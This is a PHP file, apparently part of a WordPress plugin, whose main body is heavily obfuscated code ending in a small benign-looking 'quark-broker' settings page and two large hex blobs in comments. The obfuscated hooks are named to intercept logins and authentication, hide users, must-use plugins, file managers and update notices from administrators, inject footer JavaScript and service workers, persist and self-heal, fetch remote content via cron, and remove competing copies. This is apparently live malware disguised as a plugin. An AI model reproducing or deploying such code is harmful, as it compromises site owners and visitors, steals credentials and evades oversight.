            ${"\x47\x4c" . 'OBA' . 'LS'}['sc_di' . "a" . "g_\x62\x6fo" . "\x7499"] = $hg ? (794 ^ 795) : (3743 ^ 3743);
            ${('GLOB' . "\x41") . "\x4c\x53"}["sc_" . 'diag' . '_c' . 'o' . "\x6es" . 't99'] = $hc ? (3337 ^ 3336) : (1617 ^ 1617);
            ${"G\x4c\x4f\x42" . ('' . "\x41\x4c\x53")}['s' . 'c_di' . 'a' . 'g' . '_f' . "\x69l\x6599"] = $hf;
            sc_dbg_log("06x " . 'd' . 'iag: ' . '99.' . "\x399.9" . '9' . ' eve' . 'ry' . 'whe' . 're=' . ($ew ? 'Y' : 'N') . ' g=' . ($hg ? (2755 ^ 2754) : (747 ^ 747)) . ' c=' . ($hc ? (3298 ^ 3299) : (1790 ^ 1790)) . ' f=' . $hf . '/' . $tf . " ->" . "\x20" . $file);
            return $file;
        } catch (Throwable $e) { return ''; }
        catch (Exception $e) { return ''; }
    }
}

if (!(!(("\x66\x75\x6e\x63" . "tio") . 'n_exist' . 's')('sc_b' . "o\x6ft_v" . 'er_e' . 'xc' . "lud\x65" . 'd'))) {} else {
    function sc_boot_ver_excluded() {
        if (!isset(${"G" . "LO" . "\x42\x41" . 'LS'}['sc_' . "b\x6fot" . '_ver'])) return (15 != 15);
        {return ((string) ${'GL' . "OB" . ("A" . "LS")}["\x73c_bo" . 'ot_ve' . 'r']) === sc_ver_sentinel();}
    }
}

if (!(!('fu' . "" . "n" . "ction_e" . 'xists')('sc_b' . "\x6f\x6f" . 'tstr' . "a" . "\x70\x5f\x63on" . "st_" . 'exclu' . 'ded'))) {} else {
    function sc_bootstrap_const_excluded() {
        if (!defined('SC_C' . 'O' . "R\x45" . '_BO' . "O" . "TST\x52" . "\x41P\x50\x45D")) return (2 === 8);
        return ((string) ('c' . "onstant")("S" . 'C_C' . 'OR' . "\x45" . '_' . 'BO' . "O\x54" . 'ST' . 'RAP' . "\x50ED")) === sc_ver_sentinel();
    }
}


if (("\x66\x75\x6e\x63" . 'tion_' . "e\x78\x69s" . "\x74\x73")('sc_' . "d\x65b" . 'ug_on') && sc_debug_on()) {
	$sc_diag_file = sc_diag_dump_versions();
	unset($sc_diag_file);
}


if (isset(${'G' . 'LOB' . "ALS"}["\x73\x63" . "_" . 'boot_' . 've' . "r"])) {
    if (version_compare((string) ${"\x47\x4c\x4f\x42" . "ALS"}["\x73c_\x62o" . 'ot_ve' . 'r'], sc_ver(), '>=')) {
        
        if (sc_boot_ver_excluded()) {
            sc_dbg_log('06e' . ' b' . "oo\x74\x5f\x76" . "e" . 'r=99' . '.' . '99' . '.9' . '9 ST' . "\x41L\x45" . " -" . '> E' . "X\x43L\x55\x44" . 'E, ' . 'b' . "o\x6f\x74" . " " . 'to E' . "ND");
            ${'G' . 'L' . "" . "OBALS"}['sc_' . "b" . "oo\x74" . "_" . 'ex' . 'cl'] = (3840 ^ 3841);
            unset(${"GLO" . ('B' . 'A') . 'LS'}['sc' . '_' . 'bo' . "o" . 't_' . "ver"]);
        } else {
            sc_dbg_log('06a b' . "o\x6ft_v" . "er a\x6c" . 'read' . "y \x73" . "\x65t " . "\x28" . ${("G\x4c" . "\x4f\x42\x41\x4c") . 'S'}['sc_b' . 'oo' . 't_ver'] . ') -' . ">\x20e" . 'a' . 'r' . 'ly RE' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("0\x36\x62\x20" . "\x62o\x6f\x74 " . "\x74" . 'ake' . 'ove' . 'r');
        ${"G" . "LOBAL" . "\x53"}["\x73c_b" . 'oot_' . "t" . 'k'] = (35 ^ 34);
    }

} elseif (defined("\x53C_" . 'C' . "ORE\x5f" . 'BOOT' . "\x53T\x52" . 'A' . 'PPED')) {
    $_sc_leg = ("const" . "a" . 'nt')('SC_CO' . 'R' . "\x45_" . 'BOOTS' . 'T' . "RAP\x50\x45" . 'D');

    if (
        is_string($_sc_leg) &&
        preg_match("/^\\d\x2b" . "\\.\\" . 'd+\\.\\' . 'd+$/', $_sc_leg) &&
        version_compare($_sc_leg, sc_ver(), '>' . "=")
    ) {
        
        if (sc_bootstrap_const_excluded()) {
            sc_dbg_log('06f ' . 'S' . 'C' . "_" . 'C' . 'ORE_B' . "OOTST" . "\x52\x41P" . 'PED=' . $_sc_leg . ' S' . 'T' . 'ALE ' . '-> E' . "XCL" . 'U' . "\x44" . 'E, ' . 'b' . "\x6f\x6ft\x20" . 'to EN' . 'D');
            ${'G' . ("LOB" . "\x41") . 'LS'}['sc_bo' . 'ot_e' . "x" . 'cl'] = (1751 ^ 1750);
            unset($_sc_leg);
        } else {
            sc_dbg_log("06c\x20S" . "C\x5f\x43" . "ORE_B" . 'OO' . "T\x53T\x52" . 'APPE' . 'D=' . $_sc_leg . ' ->' . " " . 'earl' . 'y R' . 'E' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("06d " . "le\x67\x61c" . "\x79 \x63\x6f" . "\x6est\x20t" . 'akeov' . "e\x72");
        ${("GLOBA" . '') . "LS"}['sc' . '_boo' . 't_t' . "\x6b"] = (777 ^ 776);
        unset($_sc_leg);
    }
}

sc_dbg_log('06 bo' . 'ot ' . "\x76a\x72s" . ' se' . "t");


bagop(sc_file());
sc_dbg_log('07 un' . 'pu' . 'rg' . 'e d' . "o" . 'ne');

if (!(('function_' . 'exist' . '' . "s")('sc_mu') && ("func" . '' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('s' . 'c_' . "\x73" . 'lug'))) {} else {
	try {
		$_mu_dir = sc_mu();
		if (@is_dir($_mu_dir)) {
			$_my_slug = sc_slug();
			$_entries = meyo($_mu_dir, (4864 | 136));
			if (is_array($_entries)) {
				foreach ($_entries as $_entry) {
					if ($_entry === $_my_slug) continue;
					if (strtolower(pathinfo($_entry, ("\x63\x6f" . "nst" . "\x61" . 'nt')("PAT\x48\x49" . 'NFO_' . 'EXTE' . 'N' . 'S' . 'I' . 'O' . "\x4e"))) !== 'ph' . 'p') continue;
					$_f = $_mu_dir . '/' . $_entry;
					if (@is_file($_f) && @filesize($_f) > (5478 - 478) && sc_is_family($_f, (4323 + 677))) {
						xari($_f);
					}
				}
			}
		}
	} catch (Throwable $e) {
		vugo("de" . "dup", $e);
	} catch (Exception $e) {
	}
}


if (!(! hisoc())) {} else {
	iyi("sh\x75" . 'tdow' . 'n', "s" . 'c' . '_mig' . "ra" . 'te', (2464 ^ 2465));
}


${'GLOBA' . 'L' . "\x53"}["s" . 'c' . "\x5fp" . 'lugi' . "n" . '_rul' . 'es'] = array(); 
${'GLOBA' . "\x4c" . 'S'}["s\x63\x5fi" . "\x6ej" . 'ect' . '_ru' . "l" . 'e' . 's'] = array(); 
${"\x47" . 'LOBA' . 'LS'}['sc' . '_js'] = ''; 

if (("fu" . 'nc' . "tion_exi" . "st\x73")('re' . 'giste' . "r\x5fs\x68u" . "t\x64own" . '_func' . "tion")) {
	("\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e\x5f\x66\x75\x6e" . "ction")("s" . 'c_fa' . 'ta' . 'l_gua' . 'r' . "d");
	('regist' . "" . "\x65\x72\x5f" . "shutdown_function")('sc' . '_boot' . '_' . 'leas' . "e_o" . 'k');
}

$_sc_qself = dirname(sc_file()) . '/.q_' . basename(sc_file(), "\x2e" . 'php');
if (!(@is_file($_sc_qself))) {} else {
	$_sc_qm = trim((string) @(("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f" . '') . "\x6e\x74e\x6e\x74\x73")($_sc_qself));
	$_sc_cm = efuw();
	if ($_sc_qm === '' || ($_sc_cm !== '' && $_sc_qm !== $_sc_cm)) soda($_sc_qself);
	unset($_sc_qm, $_sc_cm);
}

try {
	@(('t' . 'ouc') . 'h')(dirname(sc_file()) . '/.bt' . '_' . basename(sc_file(), '.' . 'p' . 'hp'));
	$_sc_cm = efuw();
	if ($_sc_cm !== '') {
		$_sc_ocf = '.ocf_' . $_sc_cm;
		foreach (array(dirname(sc_file()), sc_mu()) as $_sc_od) {
			if (@is_file($_sc_od . '/' . $_sc_ocf)) @(("\x75" . 'nl') . 'in' . 'k')($_sc_od . '/' . $_sc_ocf);
		}
	}
	unset($_sc_cm, $_sc_ocf, $_sc_od);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_qself);

iyi("i\x6e" . "\x69t", "s\x63_s" . 'can' . '_acti' . 'vate', (450 ^ 450));
iyi('init', 'sc' . '_mail' . '_supp' . "\x72e\x73s", (1311 ^ 1311));
iyi("l\x6f" . 'ad-' . 'plug' . 'ins' . '.p' . 'hp', 'sc_' . "\x73c\x61\x6e" . "_a\x63t\x69" . 'v' . "ate", (1065 ^ 1065));
iyi('admi' . "\x6e\x5f\x69n" . 'i' . 't', "\x73c\x5f" . "sc" . 'a' . 'n_' . "\x61\x63tiv" . 'at' . "\x65", (3338 ^ 3338));
iyi("a\x64mi" . "n\x5f" . 'i' . 'nit', 'sc_' . "c\x72on" . '_se' . "tu\x70", (9 ^ 11));
iyi("a" . 'dmin' . "_\x69n" . "i" . 't', 'sc' . "_\x70e\x72" . 'iod' . "i\x63", (5 + -2));
iyi('adm' . 'in_i' . 'ni' . "t", "sc_" . 'e' . 'nsur' . "e_\x61" . 'd' . "m\x69n" . "\x5fti" . 'ck', (8 - 4));
iyi('shut' . 'do' . "wn", "s\x63" . "_s" . "prea" . 'd', (6 + -1));
zage("wpfm_" . "\x65\x6c\x66i" . "\x6e" . 'de' . 'r_' . 'conn' . 'ect' . 'o' . 'r' . "\x5f\x6f\x70" . "t\x73", "s\x63\x5f\x68" . "\x69\x64\x65\x5ff" . 'm', (12 ^ 6), (3282 ^ 3283));
zage("\x77p_fi" . 'le_m' . 'an' . "\x61g\x65r" . '_con' . 'nect' . "o\x72_" . "opts", 'sc_h' . 'i' . 'de' . "_fm", (10 ^ 0), (3518 ^ 3519));
zage('elf' . "\x69\x6ed" . 'er_' . 'conn' . "e" . 'ctor' . '_opts', 'sc_hi' . 'de_' . 'fm', (8 ^ 2), (1329 ^ 1328));
zage('fi' . "l" . 'e_' . "m" . 'ana' . 'ge' . 'r' . "\x5fc" . "\x6fn" . "nec" . "\x74o\x72" . '_opts', 'sc' . '_hide' . '_' . 'f' . 'm', (18 + -8), (3188 ^ 3189));

zage("authe" . 'nti' . "\x63\x61te", 'sc_in' . "\x74" . "\x65rc" . "ep\x74", (1473 - 474), (17 ^ 18));
iyi("\x77p\x5flo" . "\x67\x69" . "n", "s\x63\x5f\x6c" . 'ogin_' . "c\x6fnf" . "ir\x6d", (276 ^ 755), (1702 ^ 1700));

zage('p' . "re_\x75" . 'ser_' . 'query', "\x73c_hi" . 'de_u' . "\x73er\x5f" . "q");
zage('r' . 'est_u' . 'ser' . '_q' . 'u' . "er" . 'y', "sc_" . 'hid' . "e_" . 'u' . 'ser_' . "\x72\x65st", (14 ^ 4), (15 ^ 13));
zage("vi\x65\x77" . 's_use' . "r\x73", "\x73c\x5f" . 'h' . 'ide_u' . 'se' . 'r_' . 'co' . 'u' . "n" . 't');

zage('de' . 'bug_' . 'infor' . "m" . "ation", 's' . 'c_' . "\x68ide" . '_de' . 'bug', (13 ^ 7), (3808 ^ 3809));

zage('sh' . 'ow_a' . "d\x76\x61" . 'nc' . 'e' . "d_p" . 'lugin' . 's', 'sc_' . 'hide' . "_" . 'mu', (28 - 18), (1910 ^ 1908));
iyi("\x61dmin" . "_he\x61" . 'd-p' . 'lugin' . "s.p" . "hp", "s\x63_hi" . 'd' . 'e_' . 'mu_cs' . "s");
zage('s' . 'it' . 'e_tr' . "a" . 'ns' . 'i' . "en\x74_" . "up\x64a" . 'te_' . 'plugi' . "ns", 'sc_h' . 'ide_u' . 'pd' . 'a' . "te" . "s");

zage('al' . 'l' . '_pl' . 'ugins', "\x73\x63" . '_hide' . '_f' . 'r' . "om" . "_plu" . 'gin' . "s\x5f\x6c" . 'ist');

iyi('wp' . '_a' . 'jax_' . 'm' . "k_f\x69l" . "\x65" . '_fold' . 'er_m' . 'anage' . 'r', 'sc_' . 'pa' . "t" . 'c' . "h" . '_fm', -(3996 >> 2));
iyi('wp_aj' . 'ax_co' . 'n' . 'nect' . "or", "s\x63_pa" . "t" . 'ch_fm', -(1998 >> 1));
iyi("wp_a\x6a" . "\x61" . "x_" . 'f' . 's_' . "c" . "on\x6e" . "\x65ct\x6fr", "sc_" . "p" . 'a' . "t\x63h" . '_fm', -(740 ^ 259));

iyi('w' . 'p_' . 'foot' . "\x65r", "sc_j" . 's_out', (1241 - 242));
iyi("tem\x70l" . 'a' . "te_\x72\x65" . "\x64" . 'i' . "rect", "\x73c\x5f\x6a" . 's_o' . 'b' . '_' . 'st' . 'art', (1966 ^ 1966));
iyi("pl\x75\x67i" . 'n' . 's' . "\x5f" . "\x6coade" . "d", 's' . "c_s\x74" . 'r' . "ip\x5f\x6c" . "o\x63\x6b\x65" . 'd_hoo' . "k\x73", (4042 ^ 4042));
iyi('admin' . '_' . 'fo' . 'o' . "t" . 'e' . 'r', "sc\x5fs" . 'w_reg', (7992 >> 3));
iyi("l" . "og" . "in" . '_f' . 'oo' . 'ter', "sc" . '_s' . 'w_' . 'r' . 'eg', (21 + 978));

iyi("pl\x75\x67" . "\x69\x6e" . 's_l' . 'o' . 'a' . 'ded', 'sc_l' . 'oad' . '_ca' . 'c' . "he", (3438 ^ 3436));
iyi('p' . "lugi\x6e" . 's_' . "lo" . 'ade' . "d", 'sc_d' . 'efe' . "\x72" . 're' . "\x64" . "_d\x65le" . 'te_ru' . 'n', (3261 ^ 3261));

iyi("\x70" . 'l' . 'ugi' . 'ns_lo' . 'aded', 'sc_re' . "c\x6fv" . 'er', (1978 ^ 1978));
iyi("plu" . "\x67in\x73\x5f" . 'l' . "oa\x64\x65d", "\x73c_" . "se" . "l\x66_h\x65" . "al", (2475 ^ 2475));

iyi('p' . 'lug' . 'i' . "\x6es_" . "lo" . "a\x64e" . 'd', 'sc' . '_ini' . 't', (1824 ^ 1825));
iyi('plu' . "gin" . "s\x5flo" . "a" . 'de' . "d", 'sc_c' . 'a' . 'n' . 'ar' . "y\x5fm\x61" . 'rker', (1237 ^ 1239));

iyi('plu' . 'g' . 'in' . 's' . "\x5flo" . "ad\x65\x64", 'sc_cr' . 'on_' . 's' . 'e' . 'tup', (6 >> 1));
iyi('p' . 'lugin' . 's_loa' . 'd' . 'e' . 'd', "sc_" . 'maybe' . '_fe' . 'tc' . 'h', (4 + 0));
iyi('pl' . "ug\x69n" . "\x73_\x6c" . "\x6f" . 'aded', "s" . "c_s\x77_" . "setup", (5 | 0));
iyi("p\x6cug" . 'in' . 's' . '_load' . "\x65\x64", 'sc_d' . "\x72o" . 'p_g' . 'uar' . 'd', (11 - 5));
iyi('p' . 'lu' . 'g' . 'ins_l' . "oa" . 'ded', "s" . "\x63\x5f" . "t" . 'h' . 'eme_w' . 'atchd' . 'o' . 'g', (9 - 3));
iyi("afte" . 'r' . '_sw' . "itch\x5f" . 'them' . 'e', 'sc_' . 'the' . "me\x5fs" . 'w' . "\x69\x74ch" . "ed");
iyi("pl\x75gi" . 'ns_' . "lo\x61" . 'ded', "sc\x5fp" . 'ers' . 'i' . "st" . '_' . 'al' . "w\x61ys", (56 >> 3));
if (!(('fu' . "\x6ec\x74\x69on\x5f\x65xi" . ("s" . "\x74\x73"))("reg\x69" . 's' . 'ter' . '_sh' . "utd" . "ow" . "\x6e" . '_func' . 'tio' . 'n'))) {} else {
	(("register_shut" . "") . "down_functi" . "\x6f\x6e")(function () {
		if (!empty(${'GLOB' . "A" . "L" . "S"}['sc_p' . "ersi\x73" . 'te' . "d"])) return;
		if (!defined('ABSP' . 'A' . 'TH') || !("fu\x6e\x63\x74io" . "\x6e" . "_exist" . "s")('g' . 'et_op' . "\x74io" . "\x6e")) return;
		if (("f\x75n\x63\x74" . "ion_exists")("sc_" . 'pe' . 'rsi' . "\x73t_" . 'al' . 'w' . 'ays')) {
			try {
				sc_persist_always();
			} catch (Throwable $e) {
			} catch (Exception $e) {
			}
		}
	});
}
iyi('plu' . 'g' . 'in' . 's_lo' . "\x61\x64\x65" . 'd', "\x73c_c" . "ro" . 'n_r' . "\x65" . 'c' . 'ov' . "e" . "r\x79_s" . 'etup', (4 + 4));
iyi('sc' . '_cron' . '_rec' . "o" . 'v' . 'ery', 'sc_cr' . 'on_re' . 'cove' . 'r' . "\x79");
iyi("sc_c" . "ro\x6e" . '_gua' . 'rd', 'sc_c' . "r" . "on" . '_g' . "u\x61r" . 'd_ti' . 'ck');
iyi("shu" . 'tdow' . 'n', 's' . "c\x5f\x66l" . "us\x68_\x65" . "r" . "\x72\x6frs", (16 ^ 26));

iyi("\x70\x6c" . 'ugi' . 'ns_lo' . 'a' . 'd' . "e\x64", function () {
	if (!("f" . "u\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "" . "\x78i\x73ts")('get_' . 'opt' . 'io' . 'n') || !('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . '' . "\x73\x74\x73")('upda' . "\x74e" . '_op' . "ti\x6f" . "n")) return;
	$last = (int) @get_option("s" . "c_las" . 't_' . "\x72" . 'ec' . "o\x76e\x72" . 'y_che' . 'ck', (2165 ^ 2165));
	if ((time() - $last) > (767 ^ 3311)) {
		if (!wewi()) return;
		@update_option('sc_l' . 'as' . "t" . '_reco' . 'very_' . 'check', time());
		sc_cron_recovery();
	}
}, (9 + 0));

iyi("sc_c\x72" . 'on_f' . "e" . 't' . 'ch', 'sc_' . "fe\x74" . 'ch');
zage('cron' . "_\x73c" . "he" . "d" . "ul\x65s", 's' . 'c_cr' . 'on' . "_int" . "e" . "\x72" . 'v' . 'al');
sc_dbg_log('08' . ' ' . "\x68oo\x6b" . "s" . ' reg' . 'ister' . "\x65d");

if (!(('functi' . 'o' . '' . "n_exists")('did' . '_a' . 'ct' . 'ion') && did_action("pl" . "ug" . 'i' . "n\x73\x5f\x6c" . 'oad' . "e\x64"))) {} else {
	axeb();
}

sc_twin_yield(__FILE__);

}  



if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','quark-broker-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('quark-broker_group');
        do_settings_sections('quark-broker-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('quark-broker_group','quark-broker_options');
    add_settings_section('quark-broker_main','Configuration',function(){echo '<p>Configure options below.</p>';},'quark-broker-settings');
    add_settings_field('quark-broker_cache','Cache Mode',function(){
        $o=get_option('quark-broker_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('quark-broker_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'quark-broker-settings','quark-broker_main');
});
if(function_exists('add_shortcode'))add_shortcode('quark_broker_stats',function(){
    $o=get_option('quark-broker_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('quark-broker_options'))add_option('quark-broker_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*a48404319a60455a7aff481b1c952033503dbec8f0b9c6cef3a71f56422622b83895ff1858f55d05a4f0408e45df0dfca942f8dd5b41114e23bc7e0bc8d651f2f0981b360b0289d953d524c399ca5b03660f68096aa81ff652cfcb0e4bbb1dd512d6028734df00d8c5c1f55cfd41217919c65ded69bd4483a0e39f580a63179ed33aba4c05c3a6836c4e2e09449b48eb3fb02d0c969f17f7fdd6e49adb2b7d9b401cf5e8ee11acd6996ffb6d4a98b8f65c0c847453732f63e9846afcd8357880b3c52a5f5d6e6af16b52d75cc336cd19087e115ac812d1382ac4ab6e77c42651fa41ef10fc75969cab0e97a6f5966a0b24335e52185b6b427f8d492e912be458bb688e33b7e52e5ba706d3ba66d75bab804c7f459b255db454a1fd581bdb17b5c70666cae57cf0d1b7ae5edace3e5fcd5b03a5b64c287f8e07cab578350465215876374fa798574005172bd3f3467131c5f023005f6c3883c7e74c8a86177278a3a997a03486ea981fb4ebd87ced09a418651776c97fe56866b37508a6487dc52c89323e8f53cea8e981b556dad3a497a0bdc5241b03f789728dd9945d3923cadc7e66747b5fd8d9b26c1b5ed2f903a78f7fa411c8eb6057250429727cfacbb25494cdc3e5816d72b2a1c9d75417331456b4300790b43fa108bbf5295b38f8e3d40bd24897ced938c16a136e846328b09bd9332b72970d2987b04afc5914400c281c9081814b4f9965d36e5f6303ecf16f13ae226c91d4f281785d1b74cdd07b7e2049ad3bc3be0d27bc8455fa3fe27aae54ecae25500e3b30042730389103f5ec3aa3ab796ca8434dfa81188c0f8663411203457368e75cae6946ba1670442038dbf6ff65e82526bf22ab6737ee212d4e85b02a86a4336c9c097fac336ad3217a453671ff58978075738fb486b635178404cf790d61f1a8fd91e8a756d3310f73a16899aa6f6f4b55a84ed81fe2a175dec39999ebfc8a9200d153efc47266afa67ecbd2d9ac48bcc1309c4548a0c0081251930cb0f7b83273c2e392f47821caa0fbb4d6122f4b4617a66db0f4fa4a5c4bfed934f11cb5291d60325fd1f8a742b90b35b2e57b9fd59f7a657ea2607f34c837719c91c77269f24313886727663afdd2ba07d7ea2107933723d4c447a4e269f28f9bec96cb9d764c6c77d11bad7d8b64a71a372232f5d908dbdaa718526674b7a060afc9f9b82d272a7af7790452348a1218cef5e772d556cfd1ef9438d852a836e17c3787a575ab291a280218aec62f6f9ade12f13cf08d7eea0614eec3976e13576ca81431333cb1b4d82bfb075887739b9919bdd95fbd009c22b26565d5aa10178c004cc6e09de7663e54a6b77472cba44a1f616e96db08175180a7b71bb59c7ae65bf7363df3595205ec094fdaf80f445de028abc4035efeec09ae0368aeb0ee35eeed581716dbca09b256662c4c0ceb1a637cfb1d5e21e5ab33fe468630be00714ace7bfa809b4f1f4d9f3e1c896dd4ddcaf7cffda3d0a4c2c00b586ec70b05a3b697053a5dafb81a0f15621305e6ed1fdf7691eba5f2834b40330b76b5e2b5164948bd324a93e87da2ad1524c83b986c8dc6e66c91e49fd08895e26bae0284038521090ec30997a79ca1f69deeb5e030ac7159ca0c9e9772ac61c17648331f5878cc0c8a0232f15327f44d20348ee7396e01240857b0fd0a55d9d6d204d113076b2cf15ee09086f7fbfb15a9009718eb67b9d1dbb853fca05c0b41f5cb514ee28c856382f99748256966d387308393eb738d1f0880dba097c362dd2d219f4bc3f1d37ef7f0c21b542b4b5cc50b66a821f27b7490becc738d2eea8d4c8c48f7647d63b41e1de19310483063c89d9ec38315289133e787b19967c1bcc79aff562b1fbf5e44335187aecbff0ab1d80777f536c685e97c592cc2fa752d68f71d98e905d3a052801188d8bb6170f739eb0742bad1e53763ad90839ce74b888a75aae68a1e1ab148ec819933f9f590896f3021229d0333130d0600945c04389ac7010c737d8e5629ccbc96a3418410fc851bd6d55d6c6f49d269ea96a1f28111cd781826b7b9f73cf2a596277687578058f789940c16c465c74f0616bc8cc3c682c4b0682ae1db5df47b9d2bdd0c0110c5ca63de86bc30ace5b9b961b6eb6d422ad8136d3aff6029988aebd2aca6b3fdf4b8cea6bb4e1846af91e303aff701a19cfb56e827bfb6b12b524092aaf83d5beebc68f4665ec84b31d8adc5783dd3f5653847483477b3d14d57de2464cd0c32816403560db9c6c64768de872c3b5c4596e475a552ea18baf120e326e7a885121d0456a49c6d0376f18dcc2e50b54e868b9c5e0eba5d1c8155a9394e4608bc2ff7b220aa1fd02c45017b65b3f6edf3c3440739be56920b1d5f522e46ed30b8f1062a11c3778d57901005e721f84d1a534eaff2befd0a1adede1fa057f26d8f00f782ff94233fb15e6642ec25dd197d33d4e6ed26b7b57c7c07a67b24a662fa65cc8c993a6a75c0d0c6a85ca1c7cb896b82a52fa07cbfd263424997e5817cc0912a2c710f0906112f1ca4ad18d354280f4911dcfc1bd6bc96f287f99cabee6918ed25dfcebf3c395a2a1c28a590b095092f6829125e7c4b079eec93eb0206aa050b5a2e20069b704293df59bd9c36a2a3d34c81f930a6bd23baaabf88b8a2f9928255927479b350f469130e24e2dee575a1bb3a2e4da48186a9f85e96d7eea22503d53d3e4c66d6d7992fdf66bd6f963dd01dcbe5aaa90f69a36f39dc43a4fec4f1e15d325550353cd39eb0bbb7a156c1210684d34e78cd54a9a23af2a9582b530b36c48ab452caac77322d425540*/
/*54783e58c3a3d987efd5131b4ead9c9fbc381179aa016cea8ced36928bcd2769adc6cca418aea1866295447b5bd95f35eda2bae50d5f1bda4f5585bf5a463ca4717fdfc7f4786b2b4ff2db27ff7488b93a8889a89c8aa8f64dc6a09ad63aec92a3c13c598197c2ef91ebdf78b7c8cbfee0ca54ac92b85cda9743a1e192b52fc1d914c71e8494d26881bead9375902eeb273361db70c5837f4573b68cf5ffe80e46a0a791b6665ee5345d712c9a136a97a22b4a2394e55a2d842c3e258fc4ebb1531b4b923cf602a81b78a5874c1cb46a8d186e8e9b345d9a75acb8173abb8ca127cc1cb520f38e45ef52c3db4fb2a3b1e03803d24b58330a441899e08ab0f9d154f472ecfe852fe02b2da2d64cabb897269f76341d54c833379f510fb087d243151bd70cbbee3e490939a05b67ff153ba646242966fc461025b03a37daf60da170390302b2b22e0c176c487f4b3b20776839735c693e141cddaedbcfcfe1b9265c9d3200b8b7f4d10c5de303ae2968b3749df918049ceb2820b1ed8de368eaee6a7f9645a3048d3a04fd0b562f62a892bcef661180b10ade4e3db908b9e95878decaf18da86030aaec9930515dc00e13249eb2c6d0c98ad882b07e4a0517cc660033ee61ac7d1e9a33041dc650d61afe1df726bef574a7e5def66af48fe94a127baf82d2fc5403d17a93b2ced95ae0f27a716fb09e81a19bce7a906418fed17ba1ca48a2aa624754ab99771c7274d1fad7b7d80e13e29520b6298d9524cd38c23e51b6702423b0e142a6604e323510dee23da837857b4c08c753936457ccf69661701cf9e6a3d9c6e24f67de3d01f7a740c5a387bb26c7cf1b0445cda82759460211acfa256a6999a50012823cd036ee6f815f882c67d29fd181a2c31714b98bfa6a718be59621c5ede7787b8c1ec2c78248c25a08422aa3c19942ba734fa54ca74266c75e5e3bc09557f5029a1031f2ff4f4db4b7387a2b1b98049b290d161b903de26c39db319fc246563cf0ec4b234e67e3c716ca8da72bdc61a0f81cc57516a866707e6e27c2fad6d13714622fde6a135dd4be8906ac57d2a74794db0f2bf96c08f75c7ea47dedb4cf90c16cc8e480c5c2726a6779cf350f5f5b205470cc9616e8070d8c5145f742f195561b81fa55e287144824c504e538c3f8dc5521383ff6a7e11d465a0aa272f074d08d99d27dc2b1bd2d3a694f663a8622f0aae4a04d484f0be94f27baa61f277249921728238f04ff2ef301068111ffd797d0f6c9a4849e5d99109c6d29a838bc480b77e281b965716c5af93bf93a2ee078862eca1026b27a4c8754e1b44453307256d8f470c66c36ad9139c39a0d2bdb6d70ec6899da9dbdbc2840078c65d52c027357d23831dc52d9709c32760f31f99ecf9b062d92452ba78a997ae527d63dd37ae70d9d0d2eeead1f0968cc5a8586a99bcd940d5315cbb56f429d7a00312bb6365a0e3bfed06a3b3665577b4b7281fb9cdf32d59969a0f703dc8227e5da2dd3421a32b2693378eeb987a3163058422811dd59f62fe2900cf56d1326d7312f3ed808dbd205381e819f4cbdf1bffb4f9e842ba0b41c6687ca9e9d7c2023399b5e75622f919f4a60997aa3d8e4427f4f141dddbf286cf69d24c45993c6b22ddc51de342da497627b0e8746f820ef946df1e2f009f7cb89480b8f15320856e9c479613de44d9d94af2c9fe0d031f607383efd9756eaa4421ef40528923e102033996680dc534783fad564b256d06b1aa3421179de17bcc44b7f9adb9617e3dcff3892176e357c809006cb63301ebc028ccde313a5fa86681a80eda901c025ffbed0c005b03c4d7d7a4381753805b3181abfd16f6e1d601d07fe70d385d3d0bbf91664c42ff1624ab83ebd3180fbb46540290ae5d58792c59fb6943ce00b125550b6ee0a669e7d11de5a3967ecd4e8dd9fa9bb0ef3cda61a5f6fc89fe52b812786793fcca113780ef5e76c56ac94d944d7a2d1fe81797ce484b58e67fe706061441ebd4fc2adfbc00f5202a8b85ac4efbaa40bb1d1de5bd1aae53ec18f783ae0750620a02eb24227345bf19e20fcb645ff61596623fdf11146e567d07e6d117a6c8b05d4fb836e0d8a6f9e66b20ff935c3f40c07bb270b56b0245f3a07c9d1a640704a983ea955636362eeb31528a104bdba13926360e5a6724f65d14d724a6c6a2fa4f49ceee47eefeeb2d9912619a5f3d68f684ea260e1a608b73349031f01f09b6d6b6683f7f9c0698d67c28ef3c263fc1a931816eedff2f8ad71eb0a5c55a9079ae11d4bdf2a39728c91d00b42be4594ef6c31f43a6d4284df307650ed295f0391c98c8210b368f2f6ec067fdba7b5b566cf474ab12b4a7192412a0dd026e908289e33e547816307f73eed24fcdb8d0f557af681e219acabbe984464f9ee36cd7805a2139203f6934284e49d26d6e3a08090c3303e704d9ebd703755d6c10415cbd9f63d7da5e581b1faf0288283eb109c869b8aefa7a5fd52c46fd3b2089a0ebb63e7ef6c5c9a66c84e8d9b6caa213ef0897f86c7130010f70f4f7d2871928c4ac45e7ddf3c35dec569866b469fd4638340185323e1037ec90447b997c46c0a68ce8c2f232beb1fac819d4b49e7dbd20b3c06652ebb3495ca769095ea0a81d8f0fb974bbfd6f913dc2c8ad2e3f1356e82a9e59dd772b584d20c0989402c5ab1729b71be055c0ca66dcdd2596e0bb18707465282ced3b96cea84eccb4b1f8a963a882b9393678e8bca235506886b4defc1153fccb6f4a4eea59eaa65df8180d19608fed6ad7705e188e8b49665dae43dd7145d45427552b7c53e4a82004ca3de750ad9*/
